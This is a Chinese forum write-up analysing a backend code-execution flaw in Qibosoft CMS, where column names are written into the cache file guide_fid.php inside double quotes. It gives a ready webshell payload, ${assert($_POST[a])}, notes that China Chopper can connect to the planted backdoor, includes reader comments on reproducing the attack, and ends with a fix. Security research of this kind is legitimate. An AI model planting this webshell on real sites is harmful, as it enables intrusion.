

前言

预测下，VG要夺冠。加油

0x01 漏洞分析

此漏洞比较鸡肋，需要后台权限。漏洞原理很简单，这里就简单分析一下。

漏洞出现在：inc/class.inc.php中的GuideFidCache函数里

[illegible]

这个函数主要是将导航条信息写入缓存文件guide_fid.php文件中，但是写入变量使用双引号，因此可以直接构造变量远程执行代码，比如\${phpinfo()}。写入文件成功后，就可以直接访问该文件即可。

0x02 漏洞利用

漏洞利用更为简单，登陆后台增加栏目为`{assert($_POST[a])}`，后门直接写入`/data/guide_fid.php`文件中，菜刀连之即可。

The screenshot displays the Qibosoft website management system's "栏目管理" (Column Management) page. The interface includes a top navigation bar with tabs like "快捷菜单", "系统功能", "文章功能", "会员管理", "模块中心", and "插件管理". A left sidebar contains sections for "当前状态" (Current Status), "标签/风格模板/静" (Tags/Style Templates/Static), "内容管理" (Content Management), and "会员相关功能" (Member-related Functions). The main content area is titled "添加栏目/分类" (Add Column/Category) and features a form with fields for "名称" (Name), "所属分类" (Parent Category), and "本栏目归属于哪个模型" (Which model does this column belong to?). The "名称" field contains the code "\${assert(\$_POST[a])}" and is highlighted by a red arrow. Below the form, a "注意" (Note) section provides instructions on creating columns and categories. At the bottom, there are links for "官方动态" (Official News) and "官方论坛" (Official Forum).

Qibosoft.com
网站管理导航

当前状态

帐号:admin
级别:创始人
管理首页 安全退出
查看首页 服务器信息
全部展开 全部收缩

标签/风格模板/静

主页 标签 栏目 标签 静

内容 内容页标

专题 标签 静

内容管理

文章 发表 管理 栏目
图片 发表 管理 栏目
软件 发表 管理 栏目
视频 发表 管理 栏目
商品 发表 管理 栏目
产品 发表 管理 栏目
专题管理 | 评论管理
表单管理 | 留言本管

会员相关功能

会员资料管理
文章相关权限 | 基本权限
管理员后台权限设

快速菜单 系统功能 文章功能 会员管理 模块中心 插件管理

栏目管理 创建栏目 修复出错栏目 合并栏目

添加栏目/分类

名称:
注:要想一次批量创建多个栏目,每个栏目名称换一行。

所属分类
|-新闻中心 (不选择将成为一级分类)

本栏目归属于哪个模型:
文章模型

设置为大分类/小栏目/单篇文章:
☐ 大分类(不可发内容) ☒ 小栏目 ☐ 单篇文章(一个栏目即一篇文章, 适合于作公告)

提交

注意

1、大分类不可发表内容, 大分类下需要再继续创建小栏目, 或者单篇文章, 大分类下, 可以再创建大分类
2、小栏目与单篇文章下面不可再创建大分类, 也不可以创建小栏目, 也不可以创建单篇文章。

官方动态 官方论坛

先知社区

列表127.0.0.1

/WebServer/v7/data/

WebServer

v7

data

admin_tpl

article_tpl

group

member_tpl

style

admin_tpl

article_tpl

group

member_tpl

style

ad_cache.php

admin.php

all_area.php

all_fid.php

all_spfid.php

article_module.php

config.php

friendlink.php

fu_all_fid.php

fu_guide_fid.php

guide_fid.php

guideSP_fid.php

hack.php

htmltype.php

index.htm

文件	时间	大小	属性
admin_tpl	2011-05-10 02:26:50	272	0777
article_tpl	2011-05-10 02:26:48	68	0777
group	2011-05-10 02:26:48	272	0777
member_tpl	2011-05-10 02:26:48	272	0777
style	2011-05-10 02:26:48	102	0777
ad_cache.php	2018-04-05 04:52:43	5428	0777
admin.php	2018-04-05 04:52:43	30	0777
all_area.php	2012-04-27 05:09:20	36567	0777
all_fid.php	2018-04-05 04:54:04	1731	0777
all_spfid.php	2012-04-27 05:09:20	9	0777
article_module.php	2012-04-27 05:09:20	14314	0777
config.php	2018-04-05 04:52:43	9708	0777
friendlink.php	2018-04-05 04:52:43	2101	0777
fu_all_fid.php	2012-04-27 05:09:20	83	0777
fu_guide_fid.php	2012-04-27 05:09:20	146	0777
guide_fid.php	2018-04-05 04:54:04	4869	0777
guideSP_fid.php	2012-04-27 05:09:20	470	0777
hack.php	2018-04-05 04:52:46	6477	0777
htmltype.php	2012-04-27 05:09:20	9	0777
index.htm	2012-04-27 05:09:20	9	0777

完成

0x03 修复建议
\$show变量拼接时使用单引号。
我的博客：<http://blog.csdn.net/vspiders>
点击收藏 | 0 关注 | 1
[上一篇：利用PowerShell诊断脚本执...](#) [下一篇：利用OOB XXE盲攻击获取文件系...](#)

1. 5 条回复

[whoami1](#) 2018-04-07 22:47:28

复现的时候，命令可以执行，但是刀连不上

0 回复Ta

[vspiders](#) 2018-04-08 22:47:16

[@whoami1](#) 你可以看一下guide_fid.php文件中的写入情况

0 回复Ta



[yQAQv](#) 2018-04-09 10:41:19

[@whoami1](#) [@vspiders](#) 复现的时候的确有个坑，php版本需要大于5.4.45.不然会出现报错

0 回复Ta



[vspiders](#) 2018-04-10 15:01:38

[@vQAQv](#) 老哥，稳

0 回复Ta



[whoami1](#) 2018-05-30 20:49:44

[@vQAQv](#) 了解

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)